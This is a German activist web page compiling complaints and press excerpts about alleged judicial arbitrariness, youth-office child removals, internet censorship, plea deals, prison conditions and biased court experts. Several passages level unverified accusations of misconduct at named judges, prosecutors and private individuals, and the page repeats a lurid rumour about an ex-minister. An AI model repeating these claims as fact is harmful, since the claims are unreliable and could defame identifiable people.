Des Weiteren soll transparent dargelegt werden, wie ein Leiter eines Sozialamtes amtspflichtwidrig und willkürlich hohe Eingliederungshilfekosten (§§ 39, 40 BSHG) zu Lasten von psychisch behinderten Erwachsenen einsparen wollte und die Rechtsbrüche trotz erfolgreich eingeleiteter gerichtlicher Eilverfahren unbeirrbar fortgesetzt hatte (Anschuldigungsschrift vom 30.11.2006/EV 202/04 und dazu für die Betroffenen erwirkte und dokumentierte Rechtssprechung des VG Oldenburg und OVG Niedersachsen).
Das Bundesverwaltungsgericht hat bereits im Jahre 1954 im Urteil vom 24.06.1954, VC 78.544 BVerwGE 1, 159 hervorgehoben, dass der Bürger zwar der öffentlichen Gewalt unterworfen ist, aber nicht Untertan, sondern Träger von Rechten und Pflichten ist! Der Anwalt hat sich bereits als Student für die schützenswerten Belange hilfebedürftiger Menschen eingesetzt (vgl. z. B. NWZ, Artikel 10.06.1993), wird dies auch zukünftig tun und sich im Falle von Behördenwillkür zu Lasten seiner Mandantschaft weder in seinem anwaltlichen Wirkungskreis noch in seinem Engagement beeinträchtigen oder einschüchtern lassen!
http://www.gegen-hartz.de/nachrichtenueberhartziv/alfredkroll99844501.php
http://www.gegen-hartz.de/nachrichtenueberhartziv/0344e19b36007.php

Ungerechtfertigte Kindeswegnahme = schwere psychische Folter/psychische Misshandlung im Namen des Volkes/ mit Zustimmung des Staates
Fast jede Woche erfahren wir von neuen Fällen, bei denen Mitarbeiter des Jugendamtes überreagierten, Kinder von ihren Eltern trennten, obwohl es sicher einen anderen Weg gegeben hätte. In manchen Kreisen wie Münster kann man dieses Phänomen sogar verstärkt beobachten.
Denkt irgendjemand in unseren Jugendämtern und Gerichten darüber nach, welche Auswirkungen dieses Vorgehen auf das weitere Leben dieser Kinder hat? Welche Auswirkungen es auf das Leben der Eltern hat?
Wir sind uns sicher alle einig, wenn Kinder misshandelt, vernachlässigt oder anderweitig gequält werden, muss gehandelt werden und manchmal ist eine Herausnahme des Kindes die Rettung für dieses Kind.
Doch welche Maßstäbe werden bei einer Inobhutnahme herangezogen? Was passiert im Vorfeld einer Inobhutnahme? In den meisten Fällen wird das Jugendamt durch Nachbarn, Familienhelferinnen oder Angehörige von Missständen informiert. Schauen wir uns diese Personen an. In wieweit haben sie eigene Interessen, z.B. Streitigkeiten mit dem Nachbarn —-> Rache? zu hohe Ansprüche —-> Familienhelferin mit hauswirtschaftlicher Ausbildung? Angehörige sind manchmal neidisch.
Oft sind die Mitarbeiter des Jugendamtes mit Arbeit überhäuft und überprüfen diese Vorwürfe nicht persönlich, in manchen Fällen haben die Mitarbeiter des Jugendamtes die Kinder vor der Herausnahme noch nie gesehen. Die Entscheidung einer Inobhutnahme, zumindest ist das die Aussage der Jugendämter, wird in einer Teamentscheidung getroffen. D.h. der Fallzuständige Sachbearbeiter berichtet über seine Eindrücke, die entweder nur aus den Erzählungen von Hilfepersonen stammen oder aus kurzen Gesprächen mit den Eltern. Diesem Team, welches weder die Eltern noch die Kinder oder die Helferpersonen kennen, wird eine sehr subjektive Sichtweise des Falles gezeigt. Wie soll ein Team da objektiv, zum Wohle der Kinder entscheiden?
Internetseiten von Betroffenen: www.elternsehnsucht.de.vu, www.jugendamt-opfer.eu, www.muenchhausen-opfer.de, www.petra-heller.info, www.judith-schaefer.com, www.kinderklau.net, www.borgartz-kinder.de
weitere interessante Seiten des Kinderklaus oder die das Thema staatlicher Kinderklau behandeln:
http://kinderklau.2page.de , http://www.jugendamt-wesel.com/CEED_ge.htm , http://www.michael-hickman.org/deu/deu_docs/060310_bozen_jugendamt.html , http://willkuer.vafk.de/Aktionen/FlyerGoerguelue.pdf , http://www.karin-jaeckel-autorin.de/aktuelles/umfrage.html

Gaddafis Sohn bestätigt: Papa, seine Regierung und seine Justiz sind schwerkriminell
Soviel Offenheit würde man sich auch sonst wünschen: Saif al-Islam al-Gaddafi, der Sohn von Libyens Staatschef, bestätigte in einem Interview mit dem arabischen Sender al-Dschasira, dass die kürzlich frei gelassenen bulgarischen Krankenschwestern und ein palästinenischer Arzt unschuldig 8 Jahre lang in libyschen Gefängnissen saßen und dort gefoltert wurden.
Auf der (englischen) Website des Senders heißt es wortwörtlich: „Saif al-Islam vouched for the innocence of the medics.“
Wörtlich soll er auch gesagt haben: „Yes, they were tortured by electricity and they were threatened that their family members would be targeted.“
Noch im Dezember 2006 hatten die in schmucke Roben gewandeten libyischen Justizkriminellen die unschuldigen Frauen und den ebenso unschuldigen Arzt in einem Berufungsprozess zum Tode verurteilt Und was hat das mit Deutschland bzw. der deutschen Justiz zu tun? So schweres Unrecht findet sich da nicht.
Aber man täusche sich nicht: Die Justiz zieht immer wieder auch Charaktere an, die in diesem wie in jenem System dienen können – weil sie kein oder ein nur unterentwickeltes Gewissen haben.
Im amerikanischen Magazin Newsweek gesteht er ein, dass sein Land in diesem Fall Europa auch finanziell erpresst hat: „Yeah, it’s an immoral game, but they set the rules of the game, the Europeans, and now they are paying the price … Everyone tries to play with this card to advance his own interest back home.“

Die Mörder sind über uns, Der Spiegel 07/1947, 15.02.1947
Vor dem Schwurgericht in Halle a. d. S. läuft ein Mordprozeß gegen mehrere ehemalige Angestellte der Provinzialverwaltung. Angeklagt sind Regierungsrat Peter, ehemals Dezernent der politischen Polizei bei der Provinzialregierung Sachsen-Anhalt, Kriminalinspektor Zimmermann und Kriminalobersekretär Stuhrmann. Verdächtigt wurde ein Minister.
Die Sekretärin Helene Mader, die die Beweise für umfangreiche Verfehlungen der Angeklagten in Händen hatte, ist von ihnen am 26. Februar 1946 umgebracht worden. Die drei Angeklagten lockten Helene Mader in ein Auto, raubten ihr die belastenden Unterlagen und brachten sie durch Genickschuß um. Die Leiche wurde verschleppt.
In der öffentlichen Schwurgerichtssitzung sagte der Angeklagte Zimmermann aus, auch „höchste Kreise der Provinzialverwaltung“ hätten durch die Ermordete belastet werden können. Helene Mader sei die Sekretärin des vor einem Jahr verhafteten und in der Haft gestorbenen Hansotto Schwabe, des „Leiters des Hilfswerks der Provinz Sachsen“ gewesen. Dieser, ein krimineller Kzler, habe umfangreiche Lebensmittelschiebungen vorgenommen.
Er sei auch der Lieferant des stellvertretenden Ministerpräsidenten Robert Siewert (SED), des SED-Landesvorsitzenden Bernard Koenen und des Leiters der Polizei, Ministerialdirektor Georg König sowie des Landwirtschaftsministers Dr. Dammerow (LDP) gewesen.
Wenn er diese Ausführung schon früher gemacht hätte, sagte Zimmermann, und nicht erst jetzt vor der Oeffentlichkeit, wäre er nicht wieder aufgetaucht.
Angeklagter Regierungsrat Peter gab an, er habe mit Minister Siewert ein Telefongespräch geführt und von ihm die Weisung erhalten, Helene Mader zu „liquidieren“.
Am dritten Verhandlungstag gab es für die wenigen Zuschauer, die durch die strenge Eingangskontrolle durchgelassen wurden, (der Erste Staatsanwalt überprüfte persönlich die Einlaßkarten und Personalausweise), eine neue Sensation:
Der angeklagte ehemalige Regierungsrat Peter widerrief seine Aussage, daß Minister Siewert ihm die Anweisung zur Ermordung von Helene Mader gegeben habe. Der Generalstaatsanwalt hatte kurz vorher noch eine etwa halbstündige Unterredung mit Peter in dessen Zelle gehabt.
Der Angeklagte Zimmermann, der trotz seiner 26 Jahre schon zwei Schlaganfälle in der Haft erlitten hat, wurde vom Gericht wegen früherer Fragebogenfälschungen als unglaubwürdig bezeichnet.
Der Angeklagte Stuhrmann erkrankte plötzlich, saß mit kreideweißem, fast grünlichem Gesicht auf der Anklagebank und war nicht vernehmungsfähig. Am nächsten Tag starb er an „Herzlähmung bei Bauchfellentzündung“ im Gefängnis,
Der Prozeß aber wurde vertagt. „Auf unbestimmte Zeit“, sagte das Gericht. „Für immer“, meinen die Hallenser.

Internet-Zensur kommt schon am 17.04.2009
Entsprechende Verträge werden von den Internet-Providern „freiwillig“ unterzeichnet. Fast alle machen mit. Sperrlisten werden vom BKA geliefert und täglich aktualisiert. BKA bestimmt, was gesperrt wird.
Die Internet-Zensur kommt früher als geplant und ohne gesetzliche Grundlage. Fünf der sieben größten deutschen Internetprovider wollen aufgrund eines von der Regierung beschlossene „Eckpunktepapieres“ schon bald „aktiv“ werden und mißliebige Seiten sperren.
Ausserdem heisst es in dem Papier: Provider sperren nur die Seiten, die vom BKA verschlüsselt auf laufend aktualisierten Listen übermittelt werden. Was gesperrt wird, legt allein das BKA fest. Die Provider setzen die Sperrung lediglich um.

Das deutsche Rechtswesen funktioniert nicht mehr: www.bund-fuer-das-recht.de
Der Bund für das Recht wurde gegründet, weil Bürger feststellen mussten, dass das Deutsche Rechtswesen nicht mehr funktioniert.
Der Umgang der Justiz mit Protokollfälschungen und eine nicht rechtgültig unterschiebener Haftbefehl
Was will die Coburger Justiz vertuschen, Leipzig und Coburg sind überall
Das Beamtentum als Garant für den Erhalt der Rechtstaatlichkeit
Die fehlende Staatshaftung – Ursache und Auswirkungen …
Trotz der eindeutigen Entscheidung des Europäischen Gerichtshofs für Menschenrechte vom 18.3.1997 wird immer noch der Beschuldigte durch die Richter für dumm verkauft um die Akteneinsicht in die Ermittlungsakten nur Rechtsanwälten zu gewähren. Obwohl der Bundestag wegen weiterer Verstöße den § 147 StPO entsprechend ergänzte, war der Europäische Gerichtshof abermals am 12.3.2003 gezwungen das Recht auf Akteneinsicht für die Beschuldigten auch ohne Anwalt zu betonen. …

Prof. Albrecht: Unser Rechtsstaat befindet sich mitten in der Auflösung
Prof. Albrecht: Unser Rechtsstaat befindet sich mitten in der Auflösung, weil es eine Herstellung von Sicherheit in dem Maße wie es der Politik vorschwebt nicht gibt. Wenn man diese Sicherheit herstellt hat man die Staatssicherheit und die haben wir in der DDR abgeschafft und nun bekommt die Bundesrepublik noch ein schlimmeres als das was abgeschafft wurde. Das ist ein Wahnsinn, der die Politik im Grunde beherrscht. Die Politik such nach Mitteln zu zeigen was sie kann und dabei vernichtet sie den Rechtsstaat und das ist im Grunde das Verbrechen. … Vor einer scheinbaren Gefahr soll die Gesellschaft ihre gesamte Freiheit aufgeben und das ist eine Umkehrung dessen was uns eigentlich unser Leben und unsere Demokratie wert ist. Diese Freiheitsaufgabe ist gleichzeitig der Sicherheitsstaat und damit geht die Sache über die Wupper. Merkel kündigt Übewachungsstaat an, null Toleranz gegenüber der bürgerlichen Freiheit.

Domains von der Denic? Nein Danke!, willkürliche Domainzensur in Deutschland
Deutschland ist ein Land, wo die Willkür regiert. Von Rechtstaatlichkeit gibt es in Deutschland keine Spur. Die Domain Wikileaks.de ist nun gesperrt. Wenn man nicht die die dicke Kohle abgreifen kann, wie Martina Nolte und Sven Teschke das mit ihren Abmahnfallen in der Wikipedia praktizieren, dann wird eben komplett zensiert. Zensur ist in Deutschland eben ganz normal.
Na klar, nicht jeder in Deutschland ist wie Tomlaywer und sein Kindergarten, aber die Vertreter der Justiz haben soviel Dreck am stecken, dass da fast jeder honorige Jurist bei der blödsinnigen Zensur gerne mitmacht.
Die Moral von der Geschicht? Kauf Denic Domains nicht!

Hans Meiser abserviert, weil er über schweinereien in Politik und Justiz berichten wollte
(…) Hans Meiser wollte einige Namen einer Liste von mehr als 100 deutschen Prominenten veröffentlichen, die neben Michel Friedman Kunden eines exklusiven Call-Girl-Rings gewesen waren. Hans Meiser verstand nicht, warum einzig Michel Friedman 2003 in Zusammenhang mit Zwangsprostituierten in die Schlagzeilen geriet, der Bundesinnenminister die Akte zur Chefsache machte und die Namen der anderen Kunden (unter ihnen ein Fußballtrainer, drei Fußballer der Bundesliga, zwei Schlagersänger, 17 Politiker, acht Unternehmer und 34 Journalisten) aber von der Bundesregierung wie ein Staatsgeheimnis gehütet wurden.
Hans Meiser bot den Fernsehsendern einen Bericht über Bundestagsabgeordnete an, die regelmäßig vom Bundestag mit einem Taxischein – also auf Kosten der Steuerzahler – auf den Berliner Kinderstrich fuhren. Hans Meiser berichtete über einen ehemaligen deutschen Minister, der Stammgast in einem Berliner Bordellbetrieb ist und dort stets für Ekel unter den Prostituierten sorgt, weil sie sich in seiner Gegenwart stets eine Flasche Piccolo in den After schieben mussten – der Herr Minister pflegt den Inhalt der Flasche dann zu trinken. Der Herr Ex-Minister wirkt im Fernsehen immer so sympathisch – da kennen ihn zwei Berliner Prostituierte völlig anders. Sie bekommen Brechreiz, wenn sie den Mann sehen – aber sie brauchen das Geld. (…) Hans Meiser hatte recherchieren lassen, welche Unternehmer und Politiker bestechlich waren. Und er hatte recherchieren lassen, welche Politiker eine kriminelle Vergangenheit hatten – und, kaum im Amt, die eigene Ermittlungsakte vernichten ließen.
(…) Nachdem Hans Meiser dieses Produktionsvorhaben bei vielen großen Sendern bekannt gemacht hatte, hieß es, seine Formate passten nicht ins Programm. Kurz: Es gab keine Aufträge mehr. Warum nur?

Deals gehören vor Gericht zum alltäglichen Geschäft
In einem Beschluß des BGH legte der große Senat für Strafsachen fest, dass Deals nicht zu unverhältnismäßig milden Strafen führen dürfen (GSSt 1/04). In dem Beschluß befassten sich Richter auch mit dem Aspekt von Absprachen, der für Angeklagte eine erhebliche Gefahr darstellen kann. In der Branche sei es kein Geheimnis, dass Gerichte wegen ihrer hohen Arbeitsbelastung mitunter dazu verleitet werden könnten, Angeklagte zu verfahrensverkürzenden Deals zu drängen. Sie tun das etwa, indem sie eine hohe Strafe in Aussicht stellen und zugleich auf die Möglichkeit von Nachlässen hinweisen – sofern der Beschuldigte bedingungslos kooperiere. Beschuldigte könnten sich aber im Extremfall sogar zu falschen Geständnissen gedrängt fühlen – und deshalb verwarfen die BGH Richter solches Vorgehen als rechtsstaatlich bedenklich – ebenso wie Versuche einen Angeklagten im Rahmen eines Deals frühzeitig zu einem Rechtsmittelverzicht zu bewegen und damit zu verhindern, dass diese Urteile anfechten – dieser Punkt soll jetzt zum Beispiel ausdrücklich im Gesetz ausgeschlossen werden. …Leider ließen sich auch viele Anwälte aus Bequemlichkeit oder anderen Gründen mitunter auf Deals ein, die für Mandanten nachteilig seien. dpa 03/2009.

Strafanzeige gegen den Vorsitzenden Landgerichtsrichter Jürgen Seifert und Oberstaatsanwalt Hans Jürgen Schulz
Einen “rechtswidrigen, ja kriminellen Deal” hatte Rost seinen Juristenkollegen vorgeworfen.
Nur wenige Tage vor Rosts Anzeige waren die Rocker mit einem überraschend milden Urteil aus dem Gerichtssaal gekommen. Die Anklage ließ den Tatvorwurf des schweren Raubes fallen und forderte nur zwei Jahre Haft wegen gefährlicher Körperverletzung. Die Strafe wurde für elf der 14 Angeklagten zur Bewährung ausgesetzt. Im Gegenzug gestanden die “Höllenengel”, dass sie im März 2006 in Stuhr (Kreis Diepholz)verfeindete “Bandidos” überfallen und schwer misshandelt hatten.

„Handel mit der Gerechtigkeit“ kritisiert, Hartz-Urteil löst „Deal“-Kontroverse aus, 26.01.2007
HB BERLIN. Aus der großen Koalition erhielt die Sozialdemokratin Unterstützung. Die Opposition warnte davor, Vereinbarungen zwischen Gericht, Verteidigung und Anklage regelrecht zu fördern. Die Linksfraktion forderte ein Verbot der Absprachen.
Der Deutsche Anwaltverein kritisierte die Pläne von Zypries. „Die Regelung ist dürftig. Sie verschlechtert die Situation der Angeklagten und der Verteidiger“, sagte der Vorsitzende des DAV-Strafrechtsausschusses, Stefan König, der „Berliner Zeitung“. Ein Gericht könne sich leichter als bisher von Vereinbarungen lösen. Zugleich könne der Druck auf Angeklagte stärker werden, sich auf Absprachen einzulassen.
Die Initiative der Ministerin trage dem Umstand Rechnung, dass Absprachen gängige Praxis seien, sagte der stellvertretende CDU/CSU-Fraktionschef Wolfgang Bosbach dem Sender N24. Es gehe darum, eindeutige gesetzliche Regelungen zu finden. Ausgeschlossen werden müsse, dass sich der Staat die Strafe quasi abkaufen lasse. Umgekehrt dürfe die Justiz dem Angeklagten nicht mit einem höheren Strafmaß drohen, wenn er sich einem Deal verweigere. Zudem müssten Urteile auch nach Absprachen von einer höheren Instanz überprüft werden können.
Der rechtspolitische Sprecher der SPD-Fraktion, Joachim Stünker, lobte das Vorgehen von Zypries mit Verweis auf langwierige Verfahren insbesondere bei Wirtschaftskriminalität. „Es macht aus prozessökonomischen Gründen Sinn, Verfahren abzukürzen. Wenn die Justiz Deals richtig handhabt, wird es nicht ungerecht“, sagte er. Ein wirtschaftlich gut gestellter Angeklagter solle nicht geschützt werden. Zudem seien sogar in kleinen Verfahren Deals bereits alltäglich.
Die stellvertretende FDP-Fraktionsvorsitzende, Sabine Leutheusser-Schnarrenberger, forderte: „Der Deal muss die Ausnahme bleiben.“ Absprachen seien zu einem ausufernden Instrument im Strafprozess geworden und in Ansätzen ein Offenbarungseid für die Justiz. Die Ex-Bundesjustizministerin forderte, lieber die Gerichte – auch personell – zu stärken.

Die Staatsanwaltschaft schlägt bei versehentlichem Zahlungsverzug Gnadenlos zu, April 2008
Nadja K. staunte nicht schlecht als sie den Brief der Landesjustizkasse B. las. Ihr wurde ein Zahlungsverzug i.H.v 50 Euro vorgeworfen. Knapp 300€ solle sie nun sofort bezahlen.
Die 27-jährige Frau hatte wegen einer Straftat (Urteil: 400€ Geldstrafe) eine Ratenzahlung beantragt, da sie als Hartz IV- Empfängerin unmöglich einen solchen Betrag ausgleichen kann. Nachdem ihr dieser bewilligt wurde zahlte sie regelmäßig und pünktlich ihr Raten an die Landesjustizkasse. Ausgerechnet im April unterlief ihr ein Fehler bei der Überweisung. Eine falsche Rechnungsnummer im Verwendungszweck bracht ihr das Verhängnis.
Ein Anruf bei der zuständigen Staatsanwaltschaft erbrachte ihr weiteren Kummer. Dort stellte man sich stur und erwähnte gleichzeitig, dass ein Hafbefehl gestellt wurde, da sie nicht bezahlt habe. Nadja K. gab nicht auf. Sie schrieb ihr Anliegen an die Staatsanwaltschaft und belegte ihren Fehler, indem sie den Kontoauszug beilegte.  Sie überwies, als zusätzlichen Guten Willen, am 01.05.08 wieder ihre Rate an die Landesjustizkasse. Aber auch dies brachte ihr keinen Erfolg. Ein zweizeiliger Brief kam 2 Wochen später, indem man ihr deutlich zu verstehen gab, dass bei einem Zahlungsverzug unverzüglich ein Haftbefehl erlassen wird. Über diese Vorgehensweise wüsste sie schliesslich bescheid. Über den Verbleib ihrer geleisteten Zahlung wurde geschwiegen.
Ergebnislos versuchte die Junge Frau das Geld zu beschaffen und  hoffte,  das sich die Polizei Zeit lassen würde, bis sie das Geld zusammen hat.
Ende Mai um 6:30 h klingelte die Polizei dann sturm bei Nadja K. Der Haftbefehl wurde, vor den Augen ihres 3-jährigen Stiefkindes vollzogen. Auch die Bemühung des Polizeibeamten blieb ohne Erfolg. Somit musste Frau K. ihre Ersatzfreiheitsstrafe in der 60 km entfernten JVA antreten.

Neue Regeln im alten Spiel, Chaos beim Unterhaltsrecht, Focus Nr. 13, 23.03.2009, Seite 34 und 48
Mit dem wegweisenden BGH-Urteil beginnt in Sachen Unterhaltszahlung eine neue Rechtssprechung – dennoch bleibt jeder Prozeß ein Risiko.
MIt jeder Information, die der 43-jährige Techniker über das neue Gesetz aufsog, stiegen Zuversicht und Laune: Eindeutig war der der typische Fall – genau der männliche Zahler, den der Staat entlasten wollte. Das Amtsgericht Crailsheim lehnte ab: Es bestehe keine Aussicht auf Erfolg. Was das soll? An dieser Frage reiben sich bisher auch Juristen. „Beratungs- und Rechtsunsicherheit“ beklagen vor allem Anwälte.
Rolf Eichelmann: „Das Gericht hat genauso verhandelt wie damals, als das alte Gesetz galt. Männer müssen immer zahlen, das sei immer so gewesen. Diesen Satz hat die Richterin angefügt.“.
Marion Betz: „Der Richter hat einfach nach altem Recht entschieden. Das hat mich geärgert.“.
Rechtsanwalt und Notar Rudolf Haibach, Fachgebiet Familienrecht: „Einige Richter halten sich nicht an die gesetzlichen Forderungen, sondern entscheiden nach ihren eigenen Wertvorstellungen. Mandanten fühlen sich ausgeliefert und ungerecht behandelt.“
Rechtsanwältin Margarete Fabricius-Brand: „Es ist fast unmöglich abzuschätzen wie ein Prozeß ausgeht“.
Rechtsanwältin Doris Kloster-Harz: „Die Rechtssprechung hat sich vom Willen des Gesetzgebers gelöst. Anwälte können ihre Mandanten kaum noch zuverlässig beraten.“. Heute schon gelacht?, Focus Seite 48: Bundesjustizministerin Brigitte Zypries verteidigt das neue Unterhaltsrecht als Fortschritt. Brigitte Zypries: „Wenn der BGH etwas klarstellt, dann beachten das alle Gerichte.“ Vor Gericht ist man auch nicht den Wertvorstellungen des Richters ausgeliefert, weil sich Richter an das Gesetz halten müssen.

Ex-Sträfling erhält für Haft Entschädigung, Menschenunwürdige Bedingungen in der JVA Detmold
Vier Gefangene auf 18qm: Erneut muß das Land NRW Schdenersatz für die menschenunwürdige Unterbringung von Häftlingen zahlen. Im jüngsten Verfahren bekam eine Ex-Sträfling 2300 EUR zugesprochen (pro Tag 10 EUR), weil seine Zelle zu klein gewesen sei. Bei unter 5qm, die einer Person zur Verfügung stehen kann von einer menschenwürdigen Unterbringung nicht mehr gesprochen werden (OLG-Hamm 11 U 88/08). Im Prozess konnte der Mann nachweisen, dass er sich bereits wärhrend seiner Unterbringung mehrfach beschwert hatte.
Bereits Mitte März hat das LG Bonn zwei Männern Entschädigungen in Höhe von 6600 EUR zugesprochen, die sich eine 7,6qm große Einzelzelle hatten teilen müssen. Im Jahr 2008 gab es in NRW 280 Verfahren und derzeit sind etwa 700 Verfahren anhängig in denen es um die menschenunwürdige Unterbringung von Gefangenen geht. Aus Sicht der Landtags-SPD ist die richterliche Entscheidung eine „Belehrung der Justizministerin“. (MT 19.03.2009, Seite 23)

www.folterknast.de

Mannheim: Gefangene misshandelt im Knast. 35 Jahre her, JVA Gelsenkirchen bekommt einen neuen Chef, Land tauscht JVA-Spitze in Gelsenkirchen aus, Mauern des Schweigens, Zelle zu klein: 700 Häftlinge fordern Schadenersatz, Menschenunwürdige Zellen, Häftlinge sollen Mitgefangenen sexuell misshandelt haben, Der neue Folter-Skandal, Wenn der Knast zum Pulverfass wird, „Mit Resozialisierung hat das nichts zu tun“, Freispruch für alle Angeklagten im JVA-Prozess, Gefängniswärter sollen Häftling misshandelt haben, Häftlinge beklagen Missstände, Häftling zwang Mitgefangenen, sich die Pulsadern aufzuschlitzen…

Die unterschiedliche Verkehrswertermittlung in Zwangsversteigerungsverfahren (AG-Minden):
Es handelt sich um 2 ganz genau gleiche Wohnungen. Wobei zu der Wohnung bei einem Wert von 30300 EUR gemäß dem Gutachten auch noch ein KfZ-Stellplatz gehört im Gegensatz zu der Wohnung, die mit einem Wert von 55000 EUR ausgewiesen ist. Vielleicht wirkt sich auch der KfZ-Stellplatz entsprechend wertmindernd aus, weil wer einen KfZ-Stellplatz hat braucht unbedingt auch ein Auto, weil ein leerer KfZ-Stellplatz würde im Ansehen der Person (in der Justiz das wichtigste überhaupt) bedeuten, dass sich der Eigentümer kein Auto leisten kann und es sich somit um eine ganz besonders mindere Person handelt (Tatsächlich besitzen beide Wohnungen einen KfZ-Stellplatz und auch noch einen kleinen Kellerraum). Beide Wohnungen wie auch etwa 30 weitere in dem Gebäude sind ca. 1992 innerhalb kürzester Zeit für 60000 EUR unrenoviert und untapeziert an 30 verschiedene Käufer verkauft worden, selbst bei zusätzlichen Maklerkosten von 2000 EUR. Beide Wohnungen sind dann renoviert worden. Damals, kurz nach Maueröffnung, waren 60000 EUR für eine solche Wohnung in der Größe ein günstiger Preis, weil sich diese Wohnungen nicht in einer guten Lage befinden und der Preis war demgemäß damals angemessen. Heute dürfte der Marktpreis wohl eher bei 30000-40000 EUR liegen und in einer Zwangsversteigerung kaum mehr als 25000 EUR zu erzielen sein. Der erzielbare Zwangsversteigerungserlös wird evtl. auch von dem vom Gutachter zu vor festgestellten Verkehrswert abhängig sein. Schauen wir uns einmal an welcher Verkehrswert für 2 gleiche Wohnungen festgestellt worden ist wobei die Festellung für den Verkehrswert eines solchen Gebäudes mit einem Gutachten nicht über 1250 EUR liegen sollte. Das umfangreiche Gutachten, das nicht annähernd richtig sein muß, erweckt dann beim Betrachter den Eindruchk, dass mit physikalischen wertermittelnden Gesetzmäßigkeiten hantiert wird.:

0011 K 0170/ 2006 (letzte Aktualisierung: 14-01-2009 13:07), Grundbuch: Minden Blatt 8.192
Objekt/Lage: Eigentumswohnung (3 bis 4 Zimmer) [Anm.: ohne KfZ-Stellplatz]: Bruchstr. 51, 32423 Minden
Beschreibung: Laut Gutachten handelt es sich um die Wohnung Nr. 21 im 5. OG eines 8-geschoss. Wohnhauses, Massivbauweise mit Flachdach und 32 WE, Baujahr 1973. NF der Wohnung: 80,41 m². Wohnung konnte nicht besichtigt werden.Verkehrswert in €: 55.000,00 EURO

0011 K 0206/ 2007 (letzte Aktualisierung: 17-02-2009 16:11), Grundbuch: Minden Blatt 8.189
Objekt/Lage: Eigentumswohnung (3 bis 4 Zimmer), Kfz-Stellplatz: Bruchstraße 51, 32423 Minden
Beschreibung: Lt. Gutachten befindet sich die Wohnung mit einer Wohnfläche von ca. 78 m² und anteiligem Gemeinschaftseigentum im 4. OG links vorne des Hauses Bruchstr. 51, 32423 Minden. 8-geschoss., unterkellertes Hochhaus mit 32 Wohneinheiten, Massivbau, Baujahr ca. 1972, Flachdach mit Flachdach-Eindeckung, Kunststoff-Fenster mit Wärmedämmglas, zentrale Ölheizung.
Das Grundstück ist 5.078 m² groß. Der Miteigentumsanteil beträgt 3.091/100.000. Verkehrswert in €: 30.300,00 EURO Gemäß Richter Dr. Kummer und Richter Dr. Haddenhorst vom LG-Bielefeld kommt es bei der Verkehrswertermittlung auch nicht auf tatsächliche Sachverhalte an wie zB. ob ein Grundstück bebaubar ist oder erschlossen ist, sondern das wichtigste ist das Ansehen der Person und ob dem Richtern der Gutachter bekannt ist uabhängig davon ob seine Verkehrswertermittlungen richtig oder falsch (gewesen) sind, denn das interessiert ohnehin niemanden. Bei Fehlern deckt einer den anderen ab, weil ihm der Kollege bekannt ist ohne konstruktiv daran zu arbeiten solche Fehler oder völlig falsche Wertermittlungen zu vermeiden.
Gemäß Richter Dr. Haddenhorst kommt es bei einer Entscheidung darüber ob ein Richter Sachverhalte zur Kenntnis genommen hat anscheinend auch nur darauf an ob ihm sein Richterkollege gut bekannt ist.

Wenig qualitativ geeignete Bausachverständige:
Kurze Vorrede: das Bittere ist, dass es viel einfacher ist, ..äh.. qualitativ wenig geeignete Sachverständige für Schäden an Gebäuden zu benennen als wirklich gute. Es gibt viele, die weder Gericht noch Parteien auch nur ansatzweise eine Hilfe sind. Das/der Schlimmste war mal ein Herr aus Ostholstein, auch öffentlich bestellt und vereidigt, der klatschnasse Flurwände einfach zufliesen wollte. Das schrieb er auch in seinem Gutachten, so über 15 Seiten lang.

Gutschterdatenbank: http://richterdatenbank.net/gutachterdatenbank

Das große Problem im Medizinrecht, Qualität und objektivität medizinischer Gutachten

Das zentrale Problem medizinischer Gutachten ist deren höchst unterschiedliche Qualität und Objektivität.
Das Spektrum ist weit und reicht von fachlich fundierten, wissenschaftlich exakt belegten Bewertungen medizinischer Sachverhalte bis zu typischen Gefälligkeitsgutachten mit vorsätzlich aufgestellten, medizinisch unhaltbaren Behauptungen.
Diese Aussage entspricht leider nicht der täglichen Erfahrung mit medizinischen Gutachten und Gutachtern. Interessanterweise scheinen Qualität und Objektivität der Begutachtung gerade in keinem erkennbaren Verhältnis zu Berufserfahrung, Fachkenntnissen oder „medizinischem Rang“ der Gutachter zu stehen. Inhaltlich bedenkliche Gutachten sieht man in der Praxis sowohl bei Assistenzärzten als auch bei sehr erfahrenen Chef- und Oberärzten großer Kliniken.
Der Nichtmediziner kann indes kaum einschätzen, wie es um die Qualität und Objektivität eines Gutachten bestellt ist. Hierzu bedarf es in der Regel einer sorgfältigen Analyse durch wirklich unabhängige Mediziner.
Wie kann der Patient bzw. sein Anwalt einen unabhängigen Gutachter erkennen? Erfahrene Patientenanwälte sollten zumindest einen Teil der gerichtlich bestellten Sachverständigen aus ihrer langjährigen Tätigkeit kennen und einschätzen können. Seriöse Patientenschützer können ebenfalls eine große Hilfe sein, wie auch spezialisierte Selbsthilfegruppen. Eine gewisse Zurückhaltung scheint bei Dienstleistern geboten, die sich mit dem Prädikat „unabhängig“ schmücken, zugleich jedoch intensive Kooperationen und Kontakte zu Versicherungen pflegen. Hier sind Interessenkonflikte zu befürchten.

Zur mangelnden Neutralität vieler gerichtlicher Gutachter, Zweiklassenrecht durch Gutachterkauf

Heft 9/1998 der Zeitschrift für Rechtspolitik, Wes Brot ich eß, das Lied ich sing
Nicht ganz zu Unrecht wurde vor einigen Jahrzehnten vielfach die Meinung vertreten, die Richter würden – vor allem aufgrund ihrer Herkunft aus Ober- und Mittelschicht – die Unterschichten in ihrer Rechtsprechung benachteiligen. Heute sind solch pauschale Behauptungen sicher nicht mehr gerechtfertigt. Im Gegenteil – es gibt eine Fülle von Hinweisen, daß z.B. eine sehr mieterfreundliche Rechtsprechung dazu führt, daß Wohnraum daß Wohnraum leer steht oder eine sehr arbeitnehmerfreundliche Rechtsprechung dazu führt, daß Arbeitsplätze im Inland verlorengehen.
